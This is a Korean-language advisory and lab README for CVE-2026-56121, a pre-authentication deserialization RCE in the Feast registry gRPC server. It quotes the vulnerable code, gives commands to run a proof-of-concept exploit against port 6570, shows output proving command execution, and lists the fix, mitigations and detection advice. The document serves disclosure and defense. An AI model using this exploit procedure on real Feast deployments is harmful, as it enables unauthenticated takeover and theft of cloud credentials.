
CVE-2026-56121 — Feast <0.63.0에서 gRPC 레지스트리 dill.loads를 통한 OnDemandFeatureView UDF의 인증되지 않은 RCE (사전 인증). Lab + PoC, e2e 검증됨.
Feast
< 0.63.0레지스트리 gRPC 서버는 사양이 도착하는 즉시OnDemandFeatureView의 사용자 정의 함수를dill.loads()합니다. — 인가 확인 전에. 배송된 구성은auth: no_auth이므로 레지스트리 포트(기본값6570)에 도달할 수 있는 모든 클라이언트는 악성 피클이 포함된ApplyFeatureView요청 하나를 보내 인증되지 않은 원격 코드 실행을 얻습니다.
| CVE | CVE-2026-56121 |
| 영향받는 버전 | Feast < 0.63.0 |
| 수정된 버전 | 0.63.0 |
| 취약점 분류 | CWE-502 (신뢰할 수 없는 데이터의 역직렬화) → RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 인증 | 없음 (auth: no_auth 기본값; 인가 전에 역직렬화 발생) |
| 공격 표면 | 레지스트리 gRPC RegistryServer.ApplyFeatureView (기본 포트 6570) |
| 상태 | 확인됨 — feast==0.62.0에 대해 종단 간 재현됨 |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserialize
...
assert_permissions_to_update(resource=feature_view, ...) # (2) authorize
self.proxied_registry.apply_feature_view(...)
from_proto (1)은 권한 확인(2) 전에 호출됩니다. 이는 변환을 파싱하며, UDF 본문을 dill.loads()합니다 —
sdk/python/feast/transformation/pandas_transformation.py (및 python_transformation.py):
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- attacker-controlled pickle
udf_string=user_defined_function_proto.body_text,
)
dill은 피클의 상위 집합이므로, 공격자 바이트의 dill.loads()는 피클 __reduce__ 메커니즘을 호출 → 임의 코드 실행을 초래합니다. 이는 assert_permissions_to_update 전에 실행되고 — 기본 auth: no_auth로 인해 해당 확인이 어차피 무효화되므로 — RCE는 인증되지 않은 상태입니다.
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d
# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
관찰 결과:
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.
RPC는 결국 오류를 발생시키지만(역피클된 객체가 더 이상 호출 가능한 UDF가 아님), 명령은 dill.loads() 동안 이미 실행되었습니다 — cat /tmp/feast_pwned는 실제 id/uname 출력을 반환하여, 에코가 아닌 실행을 증명합니다.
Feast 레지스트리 gRPC 포트에 도달할 수 있는 사람은 누구나 레지스트리 서비스 계정으로 임의 OS 명령을 실행합니다 — 피처 스토어와 연결된 오프라인/온라인 스토어, 레지스트리 및 클라우드 자격 증명이 완전히 손상됩니다. Feast 레지스트리는 SDK 클라이언트가 호출할 수 있도록 ML 플랫폼 내에서 자주 노출됩니다.
skip_udf 경로가 추가되어 레지스트리 서버가 더 이상 수신 사양의 UDF 본문을 역직렬화하지 않습니다.auth (oidc/kubernetes)를 활성화하고 레지스트리 포트를 신뢰할 수 없는 네트워크에 노출하지 마십시오. < 0.63.0에서는 인증만으로는 충분하지 않습니다. 역직렬화가 인가 확인보다 먼저 발생하기 때문입니다.신뢰할 수 있는 클라이언트가 생성하지 않은 OnDemandFeatureView user_defined_function.body를 가진 레지스트리에 대한 ApplyFeatureView / ApplyMaterialization RPC와, 쉘을 생성하는 레지스트리 프로세스에 대해 경고하십시오.
프로토 경로, 인가 전 역직렬화 순서 및 패치에 대해서는 ANALYSIS.md를 참조하십시오.